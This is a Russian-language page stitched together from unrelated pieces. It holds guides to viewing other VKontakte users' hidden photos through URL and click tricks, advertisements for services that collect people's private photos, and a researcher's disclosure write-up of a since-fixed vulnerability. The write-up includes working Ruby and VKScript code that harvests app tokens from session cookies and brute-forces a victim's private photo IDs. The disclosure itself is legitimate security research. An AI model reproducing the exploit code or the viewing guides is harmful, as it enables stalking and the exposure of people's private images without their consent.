Скрытые фото вконтакте по ID

Содержание

#1 Доступ к сохраненным фото

В этом разделе мы покажем, как посмотреть закрытые фото В Контакте через код страницы – рекомендуем точно следовать нашей инструкции:

  • Зайдите в нужный профиль;
  • На свободном поле щелкните правой кнопкой мыши, выберите в контекстном меню команду «Просмотреть (Исходный) код страницы» или нажмите Ctrl + U. Перед вами откроется вот такая страница;

  • Раскроется окно с кодом. Нажмите комбинацию клавиш Ctrl+F, введите в поисковую строку имя хозяина страницы, щелкните Enter;
  • Изучите все совпадения, рядом с некоторыми будет запись «id****» — эти данные вам и нужны.

ID иногда отображается прямо в адресной строке на главной странице аккаунта. Приведенный выше алгоритм пригодится в том случае, если вместо цифр будет прописан ник.

Продолжим изучать технологию просмотра скрытых (закрытых) фото в ВК, для этого необходимо скопировать полученный ранее ID пользователя.

  • Вернитесь в профиль интересующего вас человека;
  • Введите в адресную строку следующую комбинацию: http://vk.com/id***?z=albums***

  • Вместо снежинок нужно вписать цифровое значение ID;

  • Нажмите Enter.

Откроется окно со всеми альбомами этого человека, в том числе, закрытыми.

Кстати, все эти инструкции не помогут, если пользователь закрыл свой профиль от посторонних людей. Даже если вы находитесь в списке его друзей и без проблем заходите на страничку в гости, скрытые фотки все равно не откроются.

#2 Доступ к скрытым альбомам

Еще совсем недавно во Вконтакте разрешалось накладывать ограничения на просмотр отдельной фотографии в публичном альбоме. Увы, сегодня такой функции уже нет, но владельцы аккаунтов имеют возможность ограничить доступ к целой папке и собирать личные снимки в ней.

Чтобы посмотреть скрытые альбомы В Контакте, если доступ к фото закрыт, достаточно воспользоваться приведенной выше инструкцией. Она позволяет увидеть все тайные папки при условии, что профиль открыт для всех участников соц. сети. В противном случае вы увидите сообщение об ошибке, или о том, что страница с указанным адресом не существует.

Обращаем ваше внимание на то, что смотреть скрытые фото ВК по ID сегодня еще возможно, но разработчики регулярно повышают инструменты защиты личной информации своей аудитории. Поэтому никому не известно, сколько еще просуществует эта лазейка.

Обратите внимание, разработчики соцсети уважительно относятся к желанию аудитории поддерживать приватность, поэтому все методы, приведенные выше, не являются официальными. Действуйте аккуратно и не слишком активно, чтобы не отправиться в блок.

Как просматривать скрытые картинки в ВК

Технологии постоянно развиваются, и штат программистов популярного веб-ресурса постоянно устраняет недочеты, поэтому предоставленные ниже методы могут и не работать. Тем не менее, стоит попробовать.

Вариант №1: замена адреса альбома

Данный метод заключается в том, что понадобится заменить персональный ID на сторонний. Предварительно его нужно скопировать со страницы пользователя, чьи фотографии необходимо увидеть. После вставки чужого ID в свой URL, снимки станут доступны. Алгоритм действий состоит из таких шагов:

  • Нужно скопировать ID и вставить в адрес после слова albums;
  • Выглядит он следующим образом:

  • Остается нажать «Enter».

Теперь доступен просмотр закрытых фотографий Вконтакте.

Вариант №2: скоростное «прощелкивание»

Этот метод имеется специфическое название неспроста, поскольку выполняется в определенных условиях. Он срабатывает тогда, когда от посторонних пользователей человек скрыл не все фотографии альбома, а только часть из них. Что необходимо сделать:

  • Выберите пользователя, скрытые картинки которого следует просмотреть;
  • Перейдите к альбому, в котором наверняка есть приватные фото;

  • В нижней части страницы имеется функция «Активировать быстрый просмотр»;
  • Остается остановиться на фотографии, после которой имеется скрытая.
  • При включенном «ускоренном просмотре» быстрый щелчок по этому изображению перенесет вас на следующее, и остановится. При этом скрытое фото станет доступно.

Теперь можно смотреть отдельные «пикчи».

Вариант №3: временный баг

Небольшая неточность в настройках сайта позволит пользователям просмотреть скрытые изображения. При этом может быть закрыт не только альбом, но и страница участника целиком. Требуется воспользоваться следующим руководством:

  • Найдите страницу, которая скрыта от вас;
  • Нажмите на аватарку и посмотрите, есть ли там еще несколько фотографий, чтобы по ним можно было переходить при нажатии;

  • Следующие действия необходимо выполнить крайне быстро;
  • Сначала кликните на любой пункт из меню слева;

  • Затем резко щелкните на аватарку участника.
  • Появится окно со всеми его альбомами и изображениями, также в них будут присутствовать и закрытые фотографии ВК.

Возможно, с первого раза не получится, поскольку вариант требует сноровки и реакции.

Вариант №4: используем сайт Павла Дурова

Ранее данный метод был крайне популярен, потому что его использование не было запрещено. Необходимо перейти на официальный веб-ресурс создателя социальной сети Павла Дурова по адресу durov.ru. Абсолютно все данные всех участников ВК имелись и там, разве что параметры приватности были убраны. Поэтому через него можно было воспользоваться первым методом и поставить айди на чужой.

Разумеется, ссылка будет выглядеть по-другому, а именно:

После решетки нужно вставить айди другого участника, затем войти в нужный альбом и без труда просмотреть все фотографии. Самое главное, по закону ничего нарушено не было. В настоящее время в интернете различные площадки предлагают людям всевозможные программы со «многими удивительными функциями». Не нужно их испытывать, так вы лишь потратить деньги, время и нервы, а результата не будет. Если ни один из указанных в статье методов уже не работает – не ищите другие.

База частных фото и приватных фотографий пользователей из закрытых сообществ в ВКонтакте (вк, vk)
Рады видеть вас на нашем сайте VK-Photo, который является самой большой базой частных фотографий социальной сети Вконтакте! Пользуясь нашей поисковой системой, вы сможете найти приватные фотографии своих друзей и подруг, а также просто любого пользователя социальной сети VKontakte, для этого вам потребуется либо ссылка на страницу этого человека, либо его ID, либо короткий адрес в ВК. Наш сервис поиска частных фотографий позволяет просматривать те фотографии, которые были размещены пользователем в различные группы, закрытые сообщества, про которые он вам, конечно же, ничего не говорил и не собирался этого делать. Мы все очень любопытные люди, и поэтому наш сервис придется вам по душе, ведь с нашей помощью вы сможете посмотреть, что отправляет в те или иные сообщества ваша девушка или парень, или просто ваши однокурсники… При отправке запроса на поиск фотографий выбранного пользователя или его друзей и подруг на VK-Photo – самой большой базе частных фотографий vk.com – анализируются все созданные когда-либо группы, сообщества, публичные страницы, поэтому от вас не скроется ни одна фотография! При использовании сервиса VK-Photo может возникнуть ситуация, когда вы не сможете найти приватные фотографии того или иного человека – к сожалению, он или она не заливали их в социальные сети или же они уже удалены, не расстраивайтесь и ищите дальше! Успехов!

Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии


tl;drБыла обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».
Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150×150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число). Как же формируется вторая часть?
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом:

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя.

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute. В одном вызове этого метода возможно 25 обращений к методам API.
var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = «http://vk.com/photo» + victimId + «_»; while(start != end) { API.fave.addLink({ «link»: link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

class StandaloneAppsFinder attr_reader :app_ids def initialize(params) @range = params @app_ids = end def search (@range).each do |app_id| response = open(«https://api.vk.com/method/apps.get?app_id=#{app_id}»).read app = JSON.parse(response) app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data == ‘standalone’ end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду.

Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
class Authenticator attr_reader :access_tokens def initialize(cookie_header) @cookies = { ‘Cookie’ => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css(‘form’).attr(‘action’).value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) «https://oauth.vk.com/authorize?» + «client_id=#{app_id}&» + «response_type=token&» + «display=mobile&» + «scope=474367» end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus, который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { ‘today’ => 366300000..366500000, ‘yesterday’ => 366050000..366300000, ‘current_month’ => 365000000..366500000, ‘last_month’ => 360000000..365000000, ‘current_year’ => 350000000..366500000, ‘last_year’ => 320000000..350000000 } def initialize(params) @victim_id = params @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = «https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}» encoded_url = URI.escape(url).gsub(‘+’, ‘%2B’).delete(«\n») tokensIterator = tokensIterator == tokens.count — 1 ? 0 : tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = «http://vk.com/photo#{@victim_id}» + «_»; while(start != end) { API.fave.addLink({ «link»: link + start }); start = start + 1; }; return start; VKScript end end

Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented.
Окончательная версия скрипта выглядит так:
require ‘nokogiri’ require ‘open-uri’ require ‘typhoeus’ require ‘json’ require ‘./standalone_apps_finder’ require ‘./photos_bruteforcer’ require ‘./authenticator’ bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l — cookies from login.vk.com # remixsid — cookie from vk.com authenticator = Authenticator.new( ‘p=;’ + ‘l=;’ + ‘remixsid=;’ ) authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

Период Время (минуты)
Вчера 0.84
Прошлая неделя 6.9
Прошлый месяц 18.3
Прошлый год 121.1
3 последних года 312.5

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM, который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к голосов.

Целенаправленно исследованием ВК я никогда не занимался, но после такого, почти случайного обнаружения этой уязвимости серьезно начал задумываться о том, чтобы потратить несколько часиков на полноценный аудит этой социальной сети. У «ВКонтакте» нет официальной баг баунти программы, поэтому whitehat ресерчеры обходят этот сайт стороной, а другие, менее «белые» хакеры, просто тихо пользуются ошибками в своих целях, либо продают их. Так что, думаю, ещё парочку подобных уязвимостей в ВК можно найти.
Всем добра!

Скотобаза — огромный сборник частных фотографий в ВК (около 100 млн.). Сервис собирает фото всех пользователей соц. сети в единый каталог.

Найти фотографии того или иного пользователя просто — достаточно ввести его id Вконтакте. А удалить сложно, если написать на e-mail создателям, то шанс невысокий, а, если внести пожертвования, то шанс повышается.